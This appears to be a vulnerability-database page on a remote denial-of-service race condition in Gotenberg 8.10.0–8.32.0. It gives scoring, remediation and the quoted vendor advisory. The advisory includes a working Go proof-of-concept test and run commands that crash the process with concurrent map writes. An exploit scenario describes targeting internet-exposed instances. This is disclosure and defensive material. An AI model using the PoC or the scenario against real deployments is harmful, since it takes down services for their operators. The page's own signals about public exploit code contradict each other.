Skip to main content

Gotenberg EUVDEUVD-2026-62425

| CVE-2026-45742 HIGH
Race Condition (CWE-362)
2026-05-29 https://github.com/gotenberg/gotenberg GHSA-vp73-vjw8-8f32
7.5
CVSS 3.1 · Vendor: https://github.com/gotenberg/gotenberg
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify exposed Gotenberg endpoint
  2. Delivery
    Craft multipart POST with many downloadFrom URLs
  3. Exploit
    Submit request to conversion route
  4. Install
    Concurrent goroutines write shared maps
  5. C2
    Go runtime detects concurrent map write
  6. Execute
    Process aborts with fatal error
  7. Impact
    Service unavailable until restart

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V15 - Secure Coding and Architecture Concurrency control, locking
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires only that the target be running Gotenberg v8.10.0-v8.32.0 with the downloadFrom feature enabled (the default, controlled by --api-disable-download-from being absent) and reachable over HTTP from the attacker; no credentials are needed because the default configuration also disables basic authentication. The attacker must be able to issue a multipart/form-data POST to any endpoint that invokes newContext (the multipart conversion routes such as /forms/libreoffice/convert and /forms/chromium/convert/*) with a downloadFrom field containing at least two URLs, and those URLs must be reachable from the Gotenberg process - so deployments where the egress firewall blocks Gotenberg's outbound HTTP to arbitrary destinations make exploitation harder, though the attacker can still point downloadFrom at internal services or at any URL Gotenberg will at least attempt before the race window closes. Limiting factors: instances behind authenticated reverse proxies, instances launched with --api-basic-auth-* set, instances with --api-disable-download-from, and versions older than 8.10.0 are not exploitable.

Impact

The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H is internally consistent with the description: network-reachable, no authentication, no user interaction, low attack complexity, and pure availability impact, which maps cleanly to the 7.5 High score. EPSS and CISA KEV data were not supplied in the input, so widespread or targeted exploitation cannot be confirmed; however, publicly available exploit code exists (a self-contained Go test in the advisory) and the trigger is mechanically simple - submit one multipart POST with N>1 downloadFrom URLs. The real-world risk hinges on exposure: Gotenberg is typically deployed as an internal microservice behind a reverse proxy, which reduces blast radius, but the project documentation and default config (auth off, downloadFrom on) make internet-facing instances plausible, and any such instance is a one-shot crash target. The lack of confidentiality or integrity impact correctly bounds this as a pure DoS, not a stepping stone, so prioritization should follow exposure surface rather than CVSS alone - production internet-facing instances are urgent, internal-only instances are routine-patch priority.

Exploit ScenarioDerived

An attacker discovers an internet-exposed Gotenberg instance via Shodan or a misconfigured ingress, confirms the default downloadFrom feature is enabled by sending a probe request, then POSTs a single multipart/form-data request to /forms/libreoffice/convert (or any multipart endpoint) carrying a downloadFrom JSON array of 64+ URLs pointing at an attacker-controlled HTTP server that holds responses open until all goroutines are racing. The simultaneous unsynchronized writes to ctx.files trigger Go's runtime concurrent-map-writes detector and the process aborts with fatal error, taking down the conversion service; the PoC in the GHSA advisory demonstrates exactly this end to end and runs without external network access.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 29, 2026

Remote denial of service in Gotenberg v8.10.0 through v8.32.0 allows unauthenticated attackers to crash the process by sending a single multipart request with multiple downloadFrom entries that trigger concurrent writes to unsynchronized Go maps. Because the default deployment enables downloadFrom and disables authentication, any internet-exposed instance can be terminated remotely without credentials, and publicly available exploit code exists in the upstream GitHub Security Advisory GHSA-vp73-vjw8-8f32. No public exploit identified in CISA KEV at time of analysis, but the PoC is fully reproducible and the fix is shipped in v8.33.0.

RemediationAI

Vendor-released patch: upgrade to Gotenberg 8.33.0 or later (https://github.com/gotenberg/gotenberg/releases/tag/v8.33.0), which serializes the downloadFrom map writes and also ships unrelated SSRF and path-traversal hardening referenced in the same release notes. If immediate upgrade is not possible, enable Gotenberg's built-in basic authentication via the --api-basic-auth-username and --api-basic-auth-password flags so anonymous attackers cannot reach the multipart endpoints (trade-off: every client must be updated with credentials). Alternatively, disable the downloadFrom feature with --api-disable-download-from (trade-off: clients that rely on fetching remote source files must switch to uploading them directly as multipart files). For network-level mitigation, place Gotenberg behind a reverse proxy or service mesh that restricts inbound access to known application backends and rejects requests outside the expected RFC 7578 shape, and configure a process supervisor (Docker restart policy, Kubernetes liveness probe) so the inevitable crash recovers quickly rather than causing extended outage. See GHSA-vp73-vjw8-8f32 for full vendor guidance.

Affected VersionsENISA

gotenberg 8.10.0, < 8.33.0

Affected Packages

go github.com/gotenberg/gotenberg/v7 no fix
go github.com/gotenberg/gotenberg/v8 fix: 8.33.0
euvd gotenberg_8_10_0 fix: 8.33.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gotenberg is a stateless Go-based HTTP API that wraps Chromium and LibreOffice to convert documents (HTML, Markdown, Office files) to PDFs and screenshots, commonly run as a sidecar container in microservice architectures. The flaw lives in pkg/modules/api/context.go, where newContext fans out one goroutine per downloadFrom entry via errgroup.Go() to fetch remote files, then has each goroutine write directly into shared request-context maps (ctx.files, ctx.diskToOriginal, ctx.filesByField) at lines 395, 396, and 401 without any mutex or channel coordination. This is a textbook CWE-362 concurrent-execution race on a shared resource: Go's runtime explicitly detects concurrent map writes and aborts the entire process with an unrecoverable fatal error, which cannot be caught by deferred recover() blocks, so a single malicious request can take down the whole server. The vulnerable downloadFrom feature landed in commit f2b6bd3d and shipped first in tagged release v8.10.0.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/gotenberg/gotenberg) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
SUSE HIGH

Primary rating from Vendor (https://github.com/gotenberg/gotenberg).

CVSS VectorVendor: https://github.com/gotenberg/gotenberg

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Summary

Gotenberg is vulnerable to a remote denial of service in multipart downloadFrom handling.

A multipart request containing multiple downloadFrom entries causes concurrent goroutines to write to shared maps without synchronization. This can terminate the process with fatal error: concurrent map writes.

In the default configuration, downloadFrom is enabled and authentication is disabled, so an exposed instance can be crashed by an unauthenticated remote attacker.

Details

The issue is in pkg/modules/api/context.go.

newContext parses multipart requests and processes the downloadFrom form field before the route handler runs. For each downloadFrom entry, it starts a goroutine via errgroup.Go():

  • pkg/modules/api/context.go:221

Each goroutine downloads a file and then writes to request context maps shared by all goroutines:

  • ctx.files[filename] = path
  • ctx.diskToOriginal[path] = filename
  • ctx.filesByField[...] = append(...)

Affected lines in current main:

  • pkg/modules/api/context.go:395
  • pkg/modules/api/context.go:396
  • pkg/modules/api/context.go:401

Go maps and slices are not safe for concurrent writes. A crafted multipart request with many downloadFrom entries can therefore trigger a runtime crash.

The vulnerable downloadFrom feature was introduced in commit f2b6bd3d. The first tagged release containing this code appears to be v8.10.0.

PoC

The following self-contained command creates a temporary test file, runs the PoC, and removes the file afterwards. It does not require any external network access.

Run from the repository root:

cat > pkg/modules/api/downloadfrom_race_poc_test.go <<'EOF' //go:build security_poc

package api

import ( "bytes" "encoding/json" "fmt" "log/slog" "mime/multipart" "net/http" "net/http/httptest" "sync" "testing" "time"

"github.com/labstack/echo/v4"

"github.com/gotenberg/gotenberg/v8/pkg/gotenberg" )

func TestSecurityPoCDownloadFromConcurrentMapWrites(t *testing.T) { const downloads = 64

var ready sync.WaitGroup ready.Add(downloads) release := make(chan struct{}) var releaseOnce sync.Once

server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { ready.Done() go func() { ready.Wait() releaseOnce.Do(func() { close(release) }) }() <-release

filename := fmt.Sprintf("download-%s.txt", r.URL.Query().Get("i")) w.Header().Set("Content-Disposition", fmt.Sprintf(attachment; filename="%s", filename)) _, _ = w.Write([]byte("downloaded")) })) defer server.Close()

dls := make([]downloadFrom, downloads) for i := range dls { dls[i] = downloadFrom{ Url: fmt.Sprintf("%s/file?i=%d", server.URL, i), Field: "embedded", } }

payload, err := json.Marshal(dls) if err != nil { t.Fatalf("marshal downloadFrom payload: %v", err) }

body := new(bytes.Buffer) writer := multipart.NewWriter(body) err = writer.WriteField("downloadFrom", string(payload)) if err != nil { t.Fatalf("write downloadFrom field: %v", err) } err = writer.Close() if err != nil { t.Fatalf("close multipart writer: %v", err) }

req := httptest.NewRequest(http.MethodPost, "/forms/libreoffice/convert", body) req.Header.Set("Content-Type", writer.FormDataContentType())

echoCtx := echo.New().NewContext(req, httptest.NewRecorder()) logger := slog.New(slog.DiscardHandler) fs := gotenberg.NewFileSystem(new(gotenberg.OsMkdirAll)) downloadFromCfg := downloadFromConfig{ maxRetry: 0, }

ctx, cancel, err := newContext(echoCtx, logger, fs, 10*time.Second, 0, downloadFromCfg) if err != nil { t.Fatalf("newContext returned error: %v", err) } defer cancel()

if got := len(ctx.files); got != downloads { t.Fatalf("downloaded files = %d, want %d", got, downloads) } } EOF

GOTOOLCHAIN=go1.26.2 go test -race -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=1 rm pkg/modules/api/downloadfrom_race_poc_test.go

Expected result with the race detector:

WARNING: DATA RACE Write at ... github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3() .../pkg/modules/api/context.go:395

WARNING: DATA RACE .../pkg/modules/api/context.go:396

WARNING: DATA RACE .../pkg/modules/api/context.go:401

Running the same PoC without -race also demonstrates practical process termination:

GOTOOLCHAIN=go1.26.2 go test -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=20

Observed result:

fatal error: concurrent map writes github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3() .../pkg/modules/api/context.go:395 FAIL github.com/gotenberg/gotenberg/v8/pkg/modules/api

Impact

This is a remote denial-of-service vulnerability.

Any deployment that exposes multipart conversion endpoints with downloadFrom enabled is affected. In the default configuration, downloadFrom is enabled and basic authentication is disabled, so internet-exposed default deployments may be vulnerable to unauthenticated process termination.

The vulnerability affects availability only. I did not find evidence of confidentiality or integrity impact.

Executive ViewAI

Why It Matters

Internet-exposed Gotenberg servers (versions 8.10.0-8.32.0) can be remotely crashed by unauthenticated attackers using publicly available exploit code, disrupting document processing operations. The vulnerability poses immediate business continuity risk because default configurations lack access controls, leaving any internet-facing deployment vulnerable. Organizations should prioritize upgrading to v8.33.0 within 7 days to prevent service interruption.

Business Impact: High
Compensating Controls

Apply vendor patch: Gotenberg v8.33.0

Threat Intelligence Overview

EPSS Score
0.1%
Top 66% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Race conditions occur when multiple concurrent requests exploit the brief time gap between checking a condition and acting upon it (TOCTOU - Time of Check, Time of Use).

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy